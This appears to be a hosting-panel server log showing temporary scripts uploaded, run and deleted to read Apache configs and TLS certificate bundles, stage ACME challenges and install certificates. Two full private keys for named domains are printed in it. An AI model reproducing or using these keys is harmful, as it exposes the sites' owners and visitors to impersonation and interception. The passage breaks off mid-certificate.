Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-22 06:00:32: 

PUT: /tmp/pkp188044

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/n-e-v_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 06:00:32: 

chmod 755 /tmp/pkp188044; /tmp/pkp188044; rm /tmp/pkp188044

2026-07-22 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf	1324

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-07-22 06:00:32: 

PUT: /tmp/pkp323330

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/27a452e75854403499effc104b58be29.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 06:00:33: 

chmod 755 /tmp/pkp323330; /tmp/pkp323330; rm /tmp/pkp323330

2026-07-22 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/27a452e75854403499effc104b58be29.crt	7420
59:be:65:6d:7b:01:5f:b7:d9:44:9e:48:89:e1:9e:61

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBVDh45Cf9IRSZyXjPfn9KdvZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzIyMDUwMTUwWhcNMjYxMDIwMDUwMTQ5WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkBtL
8vGRvim6LGXClVHzTZiqo8bGm6yuYvJWsuj/yjj3NGk4ox8itQXMBZ3gYzRgrAu1
7BPpjmyn+DHZeYdwDlRT60gecE13ky/MexKC2RIfO/1YAJX4oZksAqe7GBYSY3O1
lClePaciLj40AFcbMgzDdZ1auEXKdvtZ9a2gUXzj7j3phQ0KgTcLDUrvDsW2JhD1
+B9zr0k3Ma51Augwoys8s2ON0QaH3ryyUvhfUjy7EoUns+R8wfUGKJ1xRHpCeEX6
zIU7RlBDoLYAU1RZzJV/JCZrxjvWBNEm4IYuFKHet8Ip5mOccQhlcM2VA86aPRqK
AstXd3dRoxpNqZ4pxwIDAQABo4ICJzCCAiMwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFNsvRAw0d8tc
fAWDWyAeDgdZqnshMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+BDIEMMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxl
bmNyLm9yZy85MC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDCMX5XRRmj
Re5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ+IaShtAAAEAwBGMEQCIHv+CkMW
+3A4ynEzX68/+4ifa1dZk9Eto93xKoXJY9gpAiAWxh1iEEMvawxVUGUKHG/nkZgB
+2toTG4mMWbkwn1R8gB+AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6
AAABn4hpKnMACAAABQAWsTPWBAMARzBFAiBMKLnxFfRZddfjZR5TMhjeefOdsk2+
SvKtUH4JJlG2zwIhAKq0E6ArhDMZlLnT1GHgj4IswLSKJQFK7sSGkP00l/iwMA0G
CSqGSIb3DQEBCwUAA4IBAQAOoGSwE5317Gx8hDKITiw0tzz34BBmRKSqB/Mo2hQX
Aiz20cowOlwpyGuD+uGh0Ni1JPdNcPi0uZvTV8t0bRLTJpwBxTlUiU5v9YnHEZox
WfyvFUk9uIP22gba2bQRud970cQ4CobP2EGX/25Y4UstxZvmi+JluwxD5e0ivm0L
9L7SxXkbUX7bPnEsU0ip9ePLUzWg4SXvu0CdiOzg7egoTnfeit1F7BYZxo0VswuF
lmJ5Tqa9jghHGKmsZ3ptDN7yeFt0DSpBkyuD8bmNXhBU/Uu6Zf9OazibK+A1DrEV
ilUosghFwCPL6EOSx8XnpTG5hbRD2s7mbbIQMxWX03Vz
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCQG0vy8ZG+Kbos
ZcKVUfNNmKqjxsabrK5i8lay6P/KOPc0aTijHyK1BcwFneBjNGCsC7XsE+mObKf4
Mdl5h3AOVFPrSB5wTXeTL8x7EoLZEh87/VgAlfihmSwCp7sYFhJjc7WUKV49pyIu
PjQAVxsyDMN1nVq4Rcp2+1n1raBRfOPuPemFDQqBNwsNSu8OxbYmEPX4H3OvSTcx
rnUC6DCjKzyzY43RBofevLJS+F9SPLsShSez5HzB9QYonXFEekJ4RfrMhTtGUEOg
tgBTVFnMlX8kJmvGO9YE0Sbghi4Uod63winmY5xxCGVwzZUDzpo9GooCy1d3d1Gj
Gk2pninHAgMBAAECggEAMGdKym6DsqkXZKRFiJw/Kfg2kM5Kla2Z4ZhesLd8e3NI
7WzOXlQt9zncPqK55PiJ5CAG2iYSFAnBHae40Y5BgD6o9WWC+9u5Z1Ht0AT2uGzS
2vaMoZ2+JqFpW/b06/E1+fu6qOqAQhsqavfvxZF8jAIngRD6kNy4VeC1ZcUNDXFx
mZEuBBQ8V9Q6JSjbZW4lChzF8aUGzaelZka4RR29koxmgzEr8YVnW2rsq54vM8fL
w21WLEay8Tqa0+2Ey5F1ejGb3KTz98pAAbVmtzohbTWYo4aPk9wrCJS98I7LIq+t
EiHl40Lwm5IveGWIDxIgGY6Y+ZD9S0KsNxMtL2JZAQKBgQDEgxJ6iGP4+P3AH8FW
eNsS/rXm1UpIa0Ad+mkd+VyB0N1NSUo7LTWgJz2EiZdxsuJMcNTKfPa/uRVmZzCb
xyYQS1O3z9UW4BSr1mboC+EgSEFujrW4tIIbxAgn3uwS+QIw0aFEeHjGpc9JBpuz
WRGqRxmvaYj0lEYEMqybqL4HgQKBgQC7uwI5NYyJU6bgsB9C2YMy+/rZAe7mXV74
VB9LJ2MEp8mOVhCiTjUSRWt6O4wKc8/9BT9yR7MrdSBIijFRQuBIyY9ITH3lSgFm
vNBi99Ao89rdLhMyeiBb6uRvh5yZIZGQXLzwxCnkSjU57HfotRkHgLM+fn0X9KwO
0TpTKIyVRwKBgEQ5gVPbQGIzB94I6FW+Ncjdd4fBqz2DRsphotcOOOi0+/AWLthm
tMR6eygloNePlHOXhLkcM4qSlnRsBPtAY92qWVFqrX94opSaJjYP0cQkcdsRXtPW
j4lWQMKe6XUY0ILkdMnRzZSiAlpHGg1lMfXdI3S7/hlz1O8mLLkKF5eBAoGAFp71
KKGcOpv62s4+JhcBqS4VzvpdqCKOJAw27R5k3xW8wsr6HCSiXn5A8iyktkm4QTvV
plafb1gguLz2Ll2Jmxu2iTa2YN+nBZMw5QwJaDXiJI69v3JZ3dmTByFnLEiQOr4C
Al0Q0zJh8YXd+QuBZZcLgjdJqY5RAUQS7BxRvFcCgYB7xpcQsG35mVtV7Phn89GW
oPxJNfmGkcly79nu5Q6emT7NkiBKXuogNzEtSleP0rJFJvys2cHqN8O7sc7olsNL
5ZTb0v6qxEimQWArG/qciilXQkGaVKhGBxMcw5N1Ui0o40wsOOsRkrtBrHzWLOc5
NHkgldPiOekm8kIcSMKfdA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-22 06:00:33: Establishing a connection
2026-07-22 06:00:33: Establishing a connection
2026-07-22 06:00:34: 

PUT: /tmp/pkp647676

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-22 06:00:34: 

chmod 755 /tmp/pkp647676; /tmp/pkp647676; rm /tmp/pkp647676

2026-07-22 06:00:34: 


1


2026-07-22 06:00:34: Establishing a connection
2026-07-22 06:00:35: 

PUT: /tmp/pkp150251

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > U2DTOKGvYWhcOTBzAw0CWmYVUXhPGgNxe8s06PEfKuk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
U2DTOKGvYWhcOTBzAw0CWmYVUXhPGgNxe8s06PEfKuk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 U2DTOKGvYWhcOTBzAw0CWmYVUXhPGgNxe8s06PEfKuk


2026-07-22 06:00:35: 

chmod 755 /tmp/pkp150251; /tmp/pkp150251; rm /tmp/pkp150251

2026-07-22 06:00:35: 




2026-07-22 06:00:36: Establishing a connection
2026-07-22 06:00:36: Establishing a connection
2026-07-22 06:00:36: 

PUT: /tmp/pkp189605

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-22 06:00:37: 

chmod 755 /tmp/pkp189605; /tmp/pkp189605; rm /tmp/pkp189605

2026-07-22 06:00:37: 


0


2026-07-22 06:01:13: Establishing a connection
2026-07-22 06:01:13: 

PUT: /tmp/pkp598407

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
3c:6a:cd:0f:be:0a:24:6e:14:64:ea:c0:08:b7:47:af

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBdgxKy7VgTzSvYb8mx4OeKoVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzIyMDUwMjQyWhcNMjYxMDIwMDUwMjQxWjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAo3qfKafEmiW676k0/DK64utWbqh/f7gVoHg7JibDjG+y
mqvO4m0OtQ+w5cSUMS4Yy0/0UabO3/myExvH+N5FGkdQAMsLBoksw6oamXHRDAN+
NEE1vJ/5VRwmpNurgBofPCJSavtKJ9u/O1vIv5gnUTdqCZqgJSVYMzVGkVz9Cyj5
jIzZuj75KPKtUhRLWJgXvFWATreMru1Vzdz7fl3FysLcoI/DUYZhqsGRyYcJqv7u
ZtEzHQNrjVEDhD/yn9V2j1jCNGRCZi7xOARCpMzLAsQJJ7r7jxLk/KQzB4BCle7b
gNIssL0q1QCCeSC0lXc9PJeQrkMjXnb7c9nTHxFYXwIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMJaDlp/5xjGHgPY09+iLOB8yjuRMB8GA1UdIwQYMBaAFB8vNb5G
FILNQLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3lyMS5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8veXIxLmMubGVuY3Iub3JnLzIyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB/AEavhj07PuWfpXfeqCRdNrDZ7SKiI/Rhd0EilFLulVBfAAAB
n4hp8sQACAAABQAN/y0bBAMASDBGAiEA5nLsZSatx3ch2ZV9krqYpdQLNjEKWnxb
LTrs4HUKkG4CIQCRv7y9GABUOLEr8bIzDQAhc0p/OnusnlbSFvOBD64+5gB2ANgJ
VTuUT3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABn4hp8uoAAAQDAEcwRQIh
AIFTuwt1udhU8W3vbxMxjtd2LoM7PYwOVwpKjioRekxKAiBlKQsjSJMETzKbPfZE
ogA+AgjBLX7hsmOCROX07h1mAzANBgkqhkiG9w0BAQsFAAOCAQEAhQgiEDFYQ9Xx
UldHI3qPHf5LxUSCf04WVnlV5D0KhOyP6+ypsCwzOxXDhXtDA6mvvFbIxqWmjQrO
Q6Eke1Al7gaKHwLvX+9Z0WZIAXoq/ZO5x8/Y1lqSIVxNLGr0+TYgODuGbbvw/bIf
EyPQUWgS/nnMQRx/3Gwlm04EhYevWgbn64IRi1SWZESJmQyR0e6+BNVVEepgYgrZ
iJT9aoIzbnCrM580SgeJvolTk8/TBMis7CFS+e1NyfUFmynd0R+jgd9tAmn+iAPO
+vpe4E2UH1bZTZQ1QrOBi7R9D9zYGZfsu8EANUcZSbQqTe7mkFwWWvJWemiJbRCK
oB0wqJe4fA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjep8pp8SaJbrv
qTT8Mrri61ZuqH9/uBWgeDsmJsOMb7Kaq87ibQ61D7DlxJQxLhjLT/RRps7f+bIT
G8f43kUaR1AAywsGiSzDqhqZcdEMA340QTW8n/lVHCak26uAGh88IlJq+0on2787
W8i/mCdRN2oJmqAlJVgzNUaRXP0LKPmMjNm6Pvko8q1SFEtYmBe8VYBOt4yu7VXN
3Pt+XcXKwtygj8NRhmGqwZHJhwmq/u5m0TMdA2uNUQOEP/Kf1XaPWMI0ZEJmLvE4
BEKkzMsCxAknuvuPEuT8pDMHgEKV7tuA0iywvSrVAIJ5ILSVdz08l5CuQyNedvtz
2dMfEVhfAgMBAAECggEAIUCXcF8mL96d1BLcarIc7nxFE/QlHwMALyhVi7CV1RKB
R1HMHqVlOPIMnufp5skEFRLZ1OPzr344OQfNGLOJZct8m/Sw9O7hEpmemHict29c
c9+RwSDfE+9Kcv0VuNRXZyFqF0Wu80WQ8897GXGnCa+WW4a+rV+Xva7IAFhkRikH
ryyFF1tOUpaVU3jdbvqUGuSd2PdrcGDuY9rO7/vEFG4nJF9c1H4EOPIw+GFyM/Jm
FHD5VdviZUnD1HljVsKIGyOnbcWkxezW/XJopYkr/9Oic4iQSY0JeP/NpuWuYgY1
weGCWbP9srFL+lZdqJ3WxkCLwVAj4/SYDEanm53iiQKBgQDV4a53KBmc4eIqwi7J
Cz1JSyYBitlun9GHj7LLF1IMRUoVIo36lkeiLMpn0WFgzyeqZ/RR4JFBfhBRaDuT
edljxaj/yj+9r1cb98QapUQ5SRQYJkJC1VfBrsW2KcVIQPRMXPM59x2T5Fsj6Ccm
xGZ6nh5wQLDsMFcprqSfDrSDuQKBgQDDrARbJCqIUv315CGtXFfgTW7Q5jzhu7em
tKtcFhFhC14mw188o/QY/k7Z9EKIBZauiIRB3VpMX7vjPQ2y53VqvT82bYpWa+Wh
/WJKKc4du5OIg1urVBZRhKJCx4/+ZjZum044xJUWPYeUogCSuUCg5Rl/86popeaD
rfAtMXh41wKBgAT0O0RLS3yUxtZStR63Ae5mrTSv8KVdUk8fhvapTZ83I6YlrMA3
JuWcv/tzoBvL8JFD4ybaWsL3lo0sKuUZl212MJnsJ1nPa+cb8BDl7xScmriMelBt
/KBh2faENSudRYtXQ9L95FN+oJXOVMnTFsSUUQQsm2x9Gie/AdUlVA0RAoGAHfF7
9SqSq6vvmypfEPV5qSSQWb1yAaVFVGh/dKcX377qmIn7T/9TAmQgUvAzIjeguHLB
soaaI+fei8azCvaqnDv7qWuX6OO4D1MEMI83MIuc5x4a8Bv9Elp2rjt1yJuBpulz
TfKfUfj2f4NPDST2Q+jrPw5dvIfuv6XlhDT2158CgYEAyeakH9rQanByatnID32r
jN2SUozbF5BWlxZ0mXN0aiyRS/vSxxPvFeRMSGrxRm6tATaNmcyJQK7xuUWAxz9+
7LEh52fTvsgodHlER90xLrmrgMo1c4tqVEIEd3cZ+ppVkkcW/uZ4kL8GIS/R5NAL
oV4wqaigtoWyHx7QjzBrvqI=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
